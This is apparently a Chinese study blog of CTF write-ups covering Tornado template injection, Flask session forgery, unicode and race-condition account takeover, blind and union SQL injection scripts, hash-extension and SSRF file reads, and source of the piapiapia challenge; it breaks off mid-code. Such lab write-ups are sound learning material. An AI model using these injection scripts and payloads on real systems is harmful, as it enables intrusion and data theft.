Buu刷题
前言
希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面。(ง •_•)ง
easy_tornado
进入题目
看到render就感觉可能是模板注入的东西
hints.txt给出提示,可以看到url中的filehash
呢么意思就是如果知道cookie_secret的话,再结合md5的filename就可以读到/flllllag了把
其实到这里我就没什么思路了,对于render肯定存在模板的问题,百度了一下标题tornado
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
一搜,render组合tornado,全是这道题的题解,我惊了。。那就看着WP来复现把,而不是自己做出来。。。
随便删除了filehash后,跳到了这个页面。
可以看到msg参数,传入了Error,页面就显示Error,通过一般常用的{{}}来测试
通过查阅Tornado官方文档可以发现cookie_secret存在于RequestHandler中
我们查阅资料发现
cookie_secret在RequestHandler.settings中
在官方文档中可以看到,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象。
结合百度到的一篇WP
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
简单的理解例子如下:
------------------------------------------------------------------------------------
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
'''
当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
'''
'''
我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form}
-------------------------------------------------------------------------------------
由上面可知:render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings["cookie"]) }}
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
看题目的错误页面
可见页面返回的由msg的值决定,修改msg的值形成注入,获得环境变量
?msg={{handler.settings}} (见上面灰色高显部分)
页面回显环境变量
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'}
得到cookie_secret来自文章:https://www.cnblogs.com/cimuhuashuimu/p/11544455.html
得到cookie_secret
计算filehash
import hashlib def md5(s): md5 = hashlib.md5() md5.update(s.encode('utf-8')) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = 'aeb9007d-917b-43cd-93ad-1ae754d9b8ff' print(md5(cookie_secret+md5(filename))) if __name__ == '__main__': filehash()
payload:
http://b24e5c26-565b-4923-9e20-6cfe231d6d17.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=b4ad157b5e32600203792fc910d6c7a8
HCTF admin
看题目admin,尝试注册时候用admin,提示已经被注册,那题目应该就是让我们获得admin的权限,只有进入admin用户才能获得flag
随便注册个用户进入
看到两个功能点
POST是一个提交文档页面
一点用没有,连基本修改的页面都看不到。
Change password修改密码界面
查看源代码,发现了提示.
核心代码
/app/routes.py
#!/usr/bin/env python # -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response from flask_login import logout_user, LoginManager, current_user, login_user from app import app, db from config import Config from app.models import User from forms import RegisterForm, LoginForm, NewpasswordForm from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep from io import BytesIO from code import get_verify_code @app.route('/code') def get_code(): image, code = get_verify_code() # 图片以二进制形式写入 buf = BytesIO() image.save(buf, 'jpeg') buf_str = buf.getvalue() # 把buf_str作为response返回前端,并设置首部字段 response = make_response(buf_str) response.headers['Content-Type'] = 'image/gif' # 将验证码字符串储存在session中 session['image'] = code return response @app.route('/') @app.route('/index') def index(): return render_template('index.html', title = 'hctf') @app.route('/register', methods = ['GET', 'POST']) def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST': name = strlower(form.username.data) if session.get('image').lower() != form.verify_code.data.lower(): flash('Wrong verify code.') return render_template('register.html', title = 'register', form=form) if User.query.filter_by(username = name).first(): flash('The username has been registered') return redirect(url_for('register')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('register successful') return redirect(url_for('login')) return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) @app.route('/logout') def logout(): logout_user() return redirect('/index') @app.route('/change', methods = ['GET', 'POST']) def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name']) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful') return redirect(url_for('index')) return render_template('change.html', title = 'change', form = form) @app.route('/edit', methods = ['GET', 'POST']) def edit(): if request.method == 'POST': flash('post successful') return redirect(url_for('index')) return render_template('edit.html', title = 'edit') @app.errorhandler(404) def page_not_found(error): title = unicode(error) message = error.description return render_template('errors.html', title=title, message=message) def strlower(username): username = nodeprep.prepare(username) return username
flask写的,包含有模板渲染,路由规则。
基本通读了一遍脚本,参考了大佬WP后,学习到新东西,发现有三种方法写题
WP:https://www.anquanke.com/post/id/164086
flask session伪造
了解flask的可能第一个想到的简单的点就是flask session伪造
想要伪造session,需要先了解一下flask中session是怎么构造的。
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体可参考:
https://xz.aliyun.com/t/3569
https://www.leavesongs.com/PENETRATION/client-session-security.html#
在config.py中找到了SECRET_KEY
解密工具地址:https://github.com/noraj/flask-session-cookie-manager
我晕死了,我用单引号了一年都不行,需要用双引号
解密得
{u'csrf_token': '53bee014dd7f418fa14d1712544aa2bce4c54d34', u'user_id': u'11', u'name': u'kkk', u'image': 'l76L', u'_fresh': True, u'_id': '46b7f6b2f24abd9b66e7bfc951e4020addf35e22a80dfda7bdde6d3aa7c5efd48867b5a12074a493705d2dfc7763a96266b5843a2684fbc5fbc7a2db3dfb670a'}
把name修改为admin,在加密回去,放入session,刷新就可以认证为admin了。
加密得
.eJxFkEGLwjAQhf_KMmcPbaoXwYOQGBBmxBK3JBfRtrZJHReqsrbif98gy-5tmPf43rx5wv7U19cW5rf-Xk9g7yuYP-HjCHMg6TwJK2xYM4a8tbyd2WCFM5V3jDMyqzPJ5YB61TltRyp2A7Kaos7ZaZVZzjtnXIdi1ZLA1BWuI9lMKVSeCvXAsMxIq2RjMEP52SHnbMcyo0DtxtiBQsw3TYJCxblJHK8DFc7bsWqj16OI_mAz1GoBrwmU1_60v3119eW_giHvit03mniKrJikmjpWD9LbB40Ra7aJLdRgmc6kMY37kZaLN87zoan_SEdZCvOrXA4cBThU7C8wgfu17t9_gzSF1w_kCGyF.Xc2E-A.E44h1f3vmMRP4-Qudgjj4wH0L3Y
浏览器插件替换session得到flag
明早继续更另外两种方法
unicode欺骗
我们可以看到register中的strlower,和change里面的也有这个函数
正常python有小写的函数,没必要再定义一个。
可以看到这里面调用了nodeprep.prepare(username)
这里存在一些unicode的问题->https://panda1g1.github.io/2018/11/15/HCTF%20admin/
对于如下字母
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare所在模板低版本存在漏洞会进行如下操作
ᴀ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写
攻击链如下:
- 注册用户ᴀdmin
- 登录用户ᴀdmin,变成Admin
- 修改密码Admin,更改了admin的密码
条件竞争
这里直接照搬的一叶飘零师傅的解释。
代码审计
我们发现代码在处理session赋值的时候
两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session
那么这里就会存在一些风险
那么我们设想,能不能利用这一点,改掉admin的密码呢?
例如:
- 我们登录sky用户,得到session a
- 用session a去登录触发admin赋值
- 改密码,此时session a已经被更改为session b了,即session name=admin
- 成功更改admin的密码
但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的
我们会在第一步直接跳转,所以这里需要条件竞争
条件竞争思路
那么能不能避开这个check呢?
答案是显然的,我们双线并进
当我们的一个进程运行到改密码
这里的时候
我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置
此时正好session name变为admin,change密码正好更改了管理员密码
payload
这里直接用研友syang@Whitzard的脚本了
import requests import threading def login(s, username, password): data = { 'username': username, 'password': password, 'submit': '' } return s.post("http://admin.2018.hctf.io/login", data=data) def logout(s): return s.get("http://admin.2018.hctf.io/logout") def change(s, newpassword): data = { 'newpassword':newpassword } return s.post("http://admin.2018.hctf.io/change", data=data) def func1(s): login(s, 'skysec', 'skysec') change(s, 'skysec') def func2(s): logout(s) res = login(s, 'admin', 'skysec') if '<a href="/index">/index</a>' in res.text: print('finish') def main(): for i in range(1000): print(i) s = requests.Session() t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start() t2.start() if __name__ == "__main__": main()
注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。
Hack The World
一道sql注入题目(ctf sql注入极其不擅)。id=1,2,3返回不同结果。
目测只有两行。
过滤了and,or,空格,union,/*,*/等
fuzz到if,发现好像可以。
估计是用盲注来爆,用length爆数据库长度试试
那就用if+substr来盲注爆破
爆数据库
import requests import time url = "http://3bd84987-f2f0-4e89-91b9-0f2b573ba8c1.node3.buuoj.cn/index.php" database = '' payload='database()' print('start') for i in range(1,15): for w in range(32,127): key={'id':"if(ascii(substr({},{},1))>{},1,2)".format(payload,i,w)} print(key) res = requests.post(url,data=key) res.encoding='gb2312' print('............%s......%s.......'%(i,w)) if 'Hello' not in res.text: database += chr(w) break print(database)
是不是不需要爆数据库啊。。。
这里因为空格被过滤,我们尝试%20 %09 %0a %0b %0c %0d %a0 /**/
但是其实这里用括号包括就行比如
if(ascii(substr((select(flag)from(flag)),1,1))>33,1,2)
就可以绕过空格,这篇博文中还发现fuzz出tab也可以绕过空格。
import requests import time url = "http://3bd84987-f2f0-4e89-91b9-0f2b573ba8c1.node3.buuoj.cn/index.php" database = '' payload='(select(flag)from(flag))' print('start') for i in range(1,18): for w in range(32,127): key={'id':"if(ascii(substr({},{},1))>{},1,2)".format(payload,i,w)} print(key) res = requests.post(url,data=key) res.encoding='gb2312' print('............%s......%s.......'%(i,w)) if 'Hello' not in res.text: database += chr(w) break print(database)
不止1-17的长度,继续爆
18-29还没报完。下次聪明点直接设置大点
30-39
40-45
忘记复制了。手动拼起来,还好没错。
对算法不熟悉,并且不感兴趣。但是发现很多博文写sql注入都是用二分法,效率高,这里仿照模板写了一份,发现。。效率比枚举快好多啊
import requests url = 'http://3bd84987-f2f0-4e89-91b9-0f2b573ba8c1.node3.buuoj.cn/index.php' exp='(select(flag)from(flag))' result = '' for x in range(0, 50): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr({},{},1))>{},1,2)".format(exp,x,mid) params = { 'id':payload } response = requests.post(url, data=params) if 'Hello' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(mid) print(result)
效率高的惊人。。。。我错了。二分法赛高。
在别的博文中看到了源码,可以看到过滤的函数
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
De1CTF SSRF Me
这里直接用格式化代码来看
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print(resp) tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
分析
路由
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read()
第一个路由/genSign
获取get请求的param参数值,返回getSign(action,param)的结果
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
第二个路由/De1ta
获取cookie中的action和sign参数值和get请求的param参数值,如果param参数值触发waf函数,然后实例化Task类,执行Exec函数判断action,然后返回函数结果
def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
第三个路由/
返回源代码
def index(): return open("code.txt","r").read()
SSRF
SSRF的点在Task类中的Exec函数中
判断action的行为,如果为scan,则调用scan函数,通过urllib模块中的urlopen(param).read()获取网页源码并且切片取前50个字符
但在这里的前提中
也就是你需要构造一个sign,符合md5(secert_key + param + action)
哈希扩展攻击
因为题目给了hint,所以我们需要通过/de1ta路由中的ssrf点去获取到./flag.txt
我们可以通过/geneSing路由来实行哈希扩展攻击然后就可以构造符合的sign
原来我们是md5(secert_key + flag.txt + scan)
目的是md5(secert_key+flag.txt+readscan)
这样的目的就是可以触发scan和read,也可以利用哈希扩展攻击。
先通过scan将flag.txt导入result.txt中,然后read取出放入result['data']中返回
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
这里直接利用hashpump或者用python脚本调用hashpumpy库也可以
这里再放一次利用方法https://www.cnblogs.com/pcat/p/5478509.html
hashpump -s 83dfc89263efc5e8d953275ebcce67ae -d scan -k 24 -a read
或
http://31f9b293-d79d-4fc7-86d4-995b675948f1.node3.buuoj.cn/De1ta?param=flag.txt
在先知社区翻到翻到peri0d师傅发的关于这道题目文章,总结了有三种方法。哈希扩展攻击是最简单最先应想到的方法,第二个字符串拼接就是变相得到readscan,第三个方法绕过file,用local_file来读取/app/flag.txt。
两个方法转载如下
字符串拼接
- 试着访问了一下
/geneSign?param=flag.txt
,给出了一个 md58370bdba94bd5aaf7427b84b3f52d7cb
,但是只有scan
的功能,想加入read
功能就要另想办法了
def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
- 看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
-
不妨假设
secert_key
是xxx
,那么在开始访问/geneSign?param=flag.txt
的时候,返回的 md5 就是md5('xxx' + 'flag.txt' + 'scan')
,在 python 里面上述表达式就相当于md5(xxxflag.txtscan)
,这就很有意思了。 -
直接构造访问
/geneSign?param=flag.txtread
,拿到的 md5 就是md5('xxx' + 'flag.txtread' + 'scan')
,等价于md5('xxxflag.txtreadscan')
,这就达到了目标。
- 直接访问
/De1ta?param=flag.txt
构造 cookieaction=readscan;sign=7cde191de87fe3ddac26e19acae1525e
即可
local_file
- 天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16
- 放上他们的 exp :
import requests conn = requests.Session() url = "http://139.180.128.86" def geneSign(param): data = { "param": param } resp = conn.get(url+"/geneSign",params=data).text print resp return resp def challenge(action,param,sign): cookie={ "action":action, "sign":sign } params={ "param":param } resp = conn.get(url+"/De1ta",params=params,cookies=cookie) return resp.text filename = "local_file:///app/flag.txt" a = [] for i in range(1): sign = geneSign("{}read".format(filename.format(i))) resp = challenge("readscan",filename.format(i),sign) if("title" in resp): a.append(i) print resp,i print a
-
请求
/geneSign?param=local_file:///app/flag.txtread
获取 md5 值为60ff07b83381a35d13caaf2daf583c94
,即md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')
-
然后再请求
/De1ta?param=local_file:///app/flag.txt
构造 cookieaction=readscan;sign=60ff07b83381a35d13caaf2daf583c94
-
以上就是他们 exp 做的事情,和上一个方法差不多
-
关于
local_file
:参考 : https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径
flag.txt
或./flag.txt
去访问,也可以使用类似的file:///app/flag.txt
去访问,但是file
关键字在黑名单里, 可以使用local_file
代替如果使用 urllib2.urlopen(param) 去包含文件就必须加上
file
,否则会报ValueError: unknown url type: /path/to/file
的错误
最后实验下为什么param=flag.txt就可以访问到同目录的flag.txt
python2 flaskc.py
是可以直接读到目录下的flag.txt文件的。
这里urllib是默认用file协议去读取的,所以相当于file:flag.txt,用相对路径去读
所以这可以用local_file协议去绕过,local_file:flag.txt
当加上://,需要用绝对路径
local_file:///app/flag.txt
在linux可以直接用urlopen("///etc/passwd").read()读到/etc/passwd,但是并不可以用./这样的路径去访问。by七友师傅跟了下urllib的源码,截图如下。
还可通过local-file:///proc/self/cwd/flag.txt读取,proc/self/cwd/表示当前路径
Fakebook
join了一个用户
随手一测,这道题可能是注入题目。fuzz尝试注入
通过order by判断出来四个列,但是union select 被判断为hack
我挺喜欢用if的,这里尝试用盲注fuzz出数据库长度为7,可以通过盲注爆出。直接用脚本爆
view.php?no=if(length(database())>7,1,0)
import requests url = 'http://fdfd8b63-4d28-4410-a546-d2468c484ed7.node3.buuoj.cn/view.php' exp = 'database()' result = '' for x in range(0, 20): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr({},{},1))>{},1,0)".format(exp, x, mid) params = { 'no': payload } response = requests.get(url, params=params) if '/var/www/html/view.php' not in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(mid) print(result)
爆出数据库为fakebook
我发现我好像忽略了什么,重新尝试了下union select,发现那个报错并不是错误啊。其实已经爆出数据了。
继续爆表名
view.php?no=-1%20union/**/select/**/1,group_concat(table_name),3,4/**/from%20information_schema.tables%20where%20table_schema=database()
爆列名
view.php?no=-1%20union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27
这里面比较可疑的就是data,是经过序列化后过的数据。
view.php?no=-1%20union/**/select/**/1,group_concat(data),3,4/**/from%20users
在爆数据的时候一直看到这个notice,应该是没有正确的查询,导致无法正常的反序列化,那这道题考点应该是反序列化。
做到这里做不出来了,去找了下WP
https://www.cnblogs.com/chrysanthemum/p/11784487.html
考点是ssrf,以后像这种的题目,比较开放的没有一眼就看出来的东西,最好还是习惯性看下robots.txt
user.php <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
源码结合上面的报错notice可以猜测,页面应该是反序列化存储的数据后反映在页面上的,这里有过滤协议,所以我们不能直接在join栏里把博客内容直接改成file:///var/www/html/flag.php,结合报错页面的non-object,所以我们可以尝试把之前拿到的序列化数据放在3或者4查看页面
当放入第四列的时候,页面恢复正常
payload:
http://707d89ae-b3b8-466b-b395-093b76257c58.node3.buuoj.cn/view.php?no=-1%20union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:7:%22yunying%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:36:%22https://www.cnblogs.com/BOHB-yunying%22;}%27
因此这里可以sql注入结合ssrf来读取flag.php
payload:
http://707d89ae-b3b8-466b-b395-093b76257c58.node3.buuoj.cn/view.php?no=-1%20union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:7:%22yunying%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
或者可以用/proc/self/cwd/flag.php
payload:
http://707d89ae-b3b8-466b-b395-093b76257c58.node3.buuoj.cn/view.php?no=-1%20union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:7:%22yunying%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:30:%22file:///proc/self/cwd/flag.php%22;}%27
解码得到flag
[0CTF]piapiapia
进入题目,似曾相识的页面,之前的还有一个哈希截断的验证
一开始扫描目录,扫了很久,什么都扫不到。尝试sql注入无果。查看WP,发现都是通过源码分析的,我尝试www.zip,下载到源码
register.php
<?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
index.php
<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
profile.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi <?php echo $nickname;?></h3> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div> </body> </html> <?php } ?>
update.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
class.php
<?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM 